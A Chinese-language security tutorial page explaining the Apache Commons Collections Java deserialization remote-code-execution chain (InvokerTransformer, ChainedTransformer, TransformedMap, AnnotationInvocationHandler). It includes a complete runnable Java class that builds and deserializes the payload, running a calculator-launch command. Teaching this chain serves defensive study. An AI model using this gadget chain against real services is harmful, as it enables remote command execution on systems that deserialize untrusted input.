<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Commons Collections反序列化漏洞

    Apache CommonsApache開源的Java通用類項目在Java中項目中被廣泛的使用,Apache Commons當中有一個組件叫做Apache Commons Collections,主要封裝了Java的Collection(集合)相關類對象。本節將逐步詳解Collections反序列化攻擊鏈(僅以TransformedMap調用鏈為示例)最終實現反序列化RCE

    InvokerTransformer

    Collections中提供了一個非常重要的類: org.apache.commons.collections.functors.InvokerTransformer,這個類實現了:java.io.Serializable接口。2015年有研究者發現利用InvokerTransformer類的transform方法可以實現Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

    InvokerTransformer類實現了org.apache.commons.collections.Transformer接口,Transformer提供了一個對象轉換方法:transform,主要用于將輸入對象轉換為輸出對象。InvokerTransformer類的主要作用就是利用Java反射機制來創建類實例。

    InvokerTransformer類的transform方法:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
              // 獲取輸入類的類對象
            Class cls = input.getClass();
    
              // 通過輸入的方法名和方法參數,獲取指定的反射方法對象
            Method method = cls.getMethod(iMethodName, iParamTypes);
    
              // 反射調用指定的方法并返回方法調用結果
            return method.invoke(input, iArgs);
    
        } catch (Exception ex) {
            // 省去異常處理部分代碼
        }
    }
    

    使用InvokerTransformer實現調用本地命令執行方法:

    public static void main(String[] args) {
          // 定義需要執行的本地系統命令
            String cmd = "open -a Calculator.app";
    
        // 構建transformer對象
        InvokerTransformer transformer = new InvokerTransformer(
              "exec", new Class[]{String.class}, new Object[]{cmd}
        );
    
        // 傳入Runtime實例,執行對象轉換操作
        transformer.transform(Runtime.getRuntime());
    }
    

    上述實例演示了通過InvokerTransformer的反射機制來調用java.lang.Runtime來實現命令執行,但在真實的漏洞利用場景我們是沒法在調用transformer.transform的時候直接傳入Runtime.getRuntime()對象的。

    ChainedTransformer

    org.apache.commons.collections.functors.ChainedTransformer類實現了Transformer鏈式調用,我們只需要傳入一個Transformer數組ChainedTransformer就可以實現依次的去調用每一個Transformertransform方法。

    ChainedTransformer.java:

    public class ChainedTransformer implements Transformer, Serializable {
    
      /** The transformers to call in turn */
      private final Transformer[] iTransformers;
    
      // 省去多余的方法和變量
    
      public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
      }
    
      public Object transform(Object object) {
          for (int i = 0; i < iTransformers.length; i++) {
              object = iTransformers[i].transform(object);
          }
          return object;
      }
    
    }
    

    使用ChainedTransformer實現調用本地命令執行方法:

    public static void main(String[] args) {
          // 定義需要執行的本地系統命令
            String cmd = "open -a Calculator.app";
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}
                    ),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}
                    ),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
            };
    
            // 創建ChainedTransformer調用鏈對象
            Transformer transformedChain = new ChainedTransformer(transformers);
    
          // 執行對象轉換操作
          transformedChain.transform(null);
    }
    

    通過構建ChainedTransformer調用鏈我們最終會使用InvokerTransformer來完成反射調用Runtime.getRuntime().exec(cmd)的邏輯。

    利用InvokerTransformer執行本地命令

    上面兩個Demo為我們演示了如何使用InvokerTransformer執行本地命令,現在我們也就還只剩下兩個問題:

    1. 如何傳入調用鏈。
    2. 如何調用transform方法執行本地命令。

    現在我們已經使用InvokerTransformer創建了一個含有惡意調用鏈的Transformer類的Map對象,緊接著我們應該思考如何才能夠將調用鏈竄起來并執行。

    org.apache.commons.collections.map.TransformedMap類間接的實現了java.util.Map接口,同時支持對Mapkey或者value進行Transformer轉換,調用decoratedecorateTransform方法就可以創建一個TransformedMap:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
          return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
          // 省去實現代碼
    }
    

    只要調用TransformedMapsetValue/put/putAll中的任意方法都會調用InvokerTransformer類的transform方法,從而也就會觸發命令執行。

    使用TransformedMap類的setValue觸發transform示例:

    public static void main(String[] args) {
       String cmd = "open -a Calculator.app";
    
         // 此處省去創建transformers過程,參考上面的demo
    
       // 創建ChainedTransformer調用鏈對象
       Transformer transformedChain = new ChainedTransformer(transformers);
    
       // 創建Map對象
       Map map = new HashMap();
       map.put("value", "value");
    
       // 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
       Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    
       // transformedMap.put("v1", "v2");// 執行put也會觸發transform
    
       // 遍歷Map元素,并調用setValue方法
       for (Object obj : transformedMap.entrySet()) {
          Map.Entry entry = (Map.Entry) obj;
    
          // setValue最終調用到InvokerTransformer的transform方法,從而觸發Runtime命令執行調用鏈
          entry.setValue("test");
       }
    
       System.out.println(transformedMap);
    }
    

    上述代碼向我們展示了只要在Java的API中的任何一個類實現了java.io.Serializable接口,并且可以傳入我們構建的TransformedMap對象還要有調用TransformedMap中的setValue/put/putAll中的任意方法一個方法的類,我們就可以在Java反序列化的時候觸發InvokerTransformer類的transform方法實現RCE

    AnnotationInvocationHandler

    sun.reflect.annotation.AnnotationInvocationHandler類實現了java.lang.reflect.InvocationHandler(Java動態代理)接口和java.io.Serializable接口,它還重寫了readObject方法,在readObject方法中還間接的調用了TransformedMapMapEntrysetValue方法,從而也就觸發了transform方法,完成了整個攻擊鏈的調用。

    AnnotationInvocationHandler代碼片段:

    package sun.reflect.annotation;
    
    class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    
      AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        // 省去代碼部分
      }
    
      // Java動態代理的invoke方法
      public Object invoke(Object var1, Method var2, Object[] var3) {
        // 省去代碼部分
      }
    
      private void readObject(ObjectInputStream var1) {
          // 省去代碼部分
      }
    
    }
    

    readObject方法:

    上圖中的第352行中的memberValuesAnnotationInvocationHandler的成員變量,memberValues的值是在var1.defaultReadObject();時反序列化生成的,它也就是我們在創建AnnotationInvocationHandler時傳入的帶有惡意攻擊鏈的TransformedMap。需要注意的是如果我們想要進入到var5.setValue這個邏輯那么我們的序列化的map中的key必須包含創建AnnotationInvocationHandler時傳入的注解的方法名。

    既然利用AnnotationInvocationHandler類我們可以實現反序列化RCE,那么在序列化AnnotationInvocationHandler對象的時候傳入我們精心構建的包含了惡意攻擊鏈的TransformedMap對象的序列化字節數組給遠程服務,對方在反序列化AnnotationInvocationHandler類的時候就會觸發整個惡意的攻擊鏈,從而也就實現了遠程命令執行了。

    創建AnnotationInvocationHandler對象:

    因為sun.reflect.annotation.AnnotationInvocationHandler是一個內部API專用的類,在外部我們無法通過類名創建出AnnotationInvocationHandler類實例,所以我們需要通過反射的方式創建出AnnotationInvocationHandler對象:

    // 創建Map對象
    Map map = new HashMap();
    
    // map的key名稱必須對應創建AnnotationInvocationHandler時使用的注解方法名,比如創建
    // AnnotationInvocationHandler時傳入的注解是java.lang.annotation.Target,那么map
    // 的key必須是@Target注解中的方法名,即:value,否則在反序列化AnnotationInvocationHandler
    // 類調用其自身實現的readObject方法時無法通過if判斷也就無法通過調用到setValue方法了。
    map.put("value", "value");
    
    // 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
    Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    
    // 獲取AnnotationInvocationHandler類對象
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    
    // 獲取AnnotationInvocationHandler類的構造方法
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    
    // 設置構造方法的訪問權限
    constructor.setAccessible(true);
    
    // 創建含有惡意攻擊鏈(transformedMap)的AnnotationInvocationHandler類實例,等價于:
    // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
    Object instance = constructor.newInstance(Target.class, transformedMap);
    

    instance對象就是我們最終用于序列化的AnnotationInvocationHandler對象,我們只需要將這個instance序列化后就可以得到用于攻擊的payload了。

    完整的攻擊示例Demo:

    package com.anbai.sec.serializes;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.Arrays;
    import java.util.HashMap;
    import java.util.Map;
    
    /**
     * Creator: yz
     * Date: 2019/12/16
     */
    public class CommonsCollectionsTest {
    
        public static void main(String[] args) {
            String cmd = "open -a Calculator.app";
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}
                    ),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}
                    ),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
            };
    
            // 創建ChainedTransformer調用鏈對象
            Transformer transformedChain = new ChainedTransformer(transformers);
    
            // 創建Map對象
            Map map = new HashMap();
            map.put("value", "value");
    
            // 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象
            Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    
    //        // 遍歷Map元素,并調用setValue方法
    //        for (Object obj : transformedMap.entrySet()) {
    //            Map.Entry entry = (Map.Entry) obj;
    //
    //            // setValue最終調用到InvokerTransformer的transform方法,從而觸發Runtime命令執行調用鏈
    //            entry.setValue("test");
    //        }
    //
    ////        transformedMap.put("v1", "v2");// 執行put也會觸發transform
    
            try {
                // 獲取AnnotationInvocationHandler類對象
                Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    
                // 獲取AnnotationInvocationHandler類的構造方法
                Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    
                // 設置構造方法的訪問權限
                constructor.setAccessible(true);
    
                // 創建含有惡意攻擊鏈(transformedMap)的AnnotationInvocationHandler類實例,等價于:
                // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
                Object instance = constructor.newInstance(Target.class, transformedMap);
    
                // 創建用于存儲payload的二進制輸出流對象
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
    
                // 創建Java對象序列化輸出流對象
                ObjectOutputStream out = new ObjectOutputStream(baos);
    
                // 序列化AnnotationInvocationHandler類
                out.writeObject(instance);
                out.flush();
                out.close();
    
                // 獲取序列化的二進制數組
                byte[] bytes = baos.toByteArray();
    
                // 輸出序列化的二進制數組
                System.out.println("Payload攻擊字節數組:" + Arrays.toString(bytes));
    
                // 利用AnnotationInvocationHandler類生成的二進制數組創建二進制輸入流對象用于反序列化操作
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    
                // 通過反序列化輸入流(bais),創建Java對象輸入流(ObjectInputStream)對象
                ObjectInputStream in = new ObjectInputStream(bais);
    
                // 模擬遠程的反序列化過程
                in.readObject();
    
                // 關閉ObjectInputStream輸入流
                in.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    }
    

    反序列化RCE調用鏈如下:

    ObjectInputStream.readObject()
      ->AnnotationInvocationHandler.readObject()
          ->TransformedMap.entrySet().iterator().next().setValue()
              ->TransformedMap.checkSetValue()
            ->TransformedMap.transform()
              ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                ->InvokerTransformer.transform()
                  ->Method.invoke()
                    ->Class.getMethod()
                ->InvokerTransformer.transform()
                  ->Method.invoke()
                    ->Runtime.getRuntime()
                ->InvokerTransformer.transform()
                  ->Method.invoke()
                    ->Runtime.exec()
    

    Apache Commons Collections漏洞利用方式也不僅僅只有本節所講解的利用AnnotationInvocationHandler觸發TransformedMap構建調用鏈的這一種方式,ysoserial還提供了多種基于InstantiateTransformer/InvokerTransformer構建調用鏈方式:LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类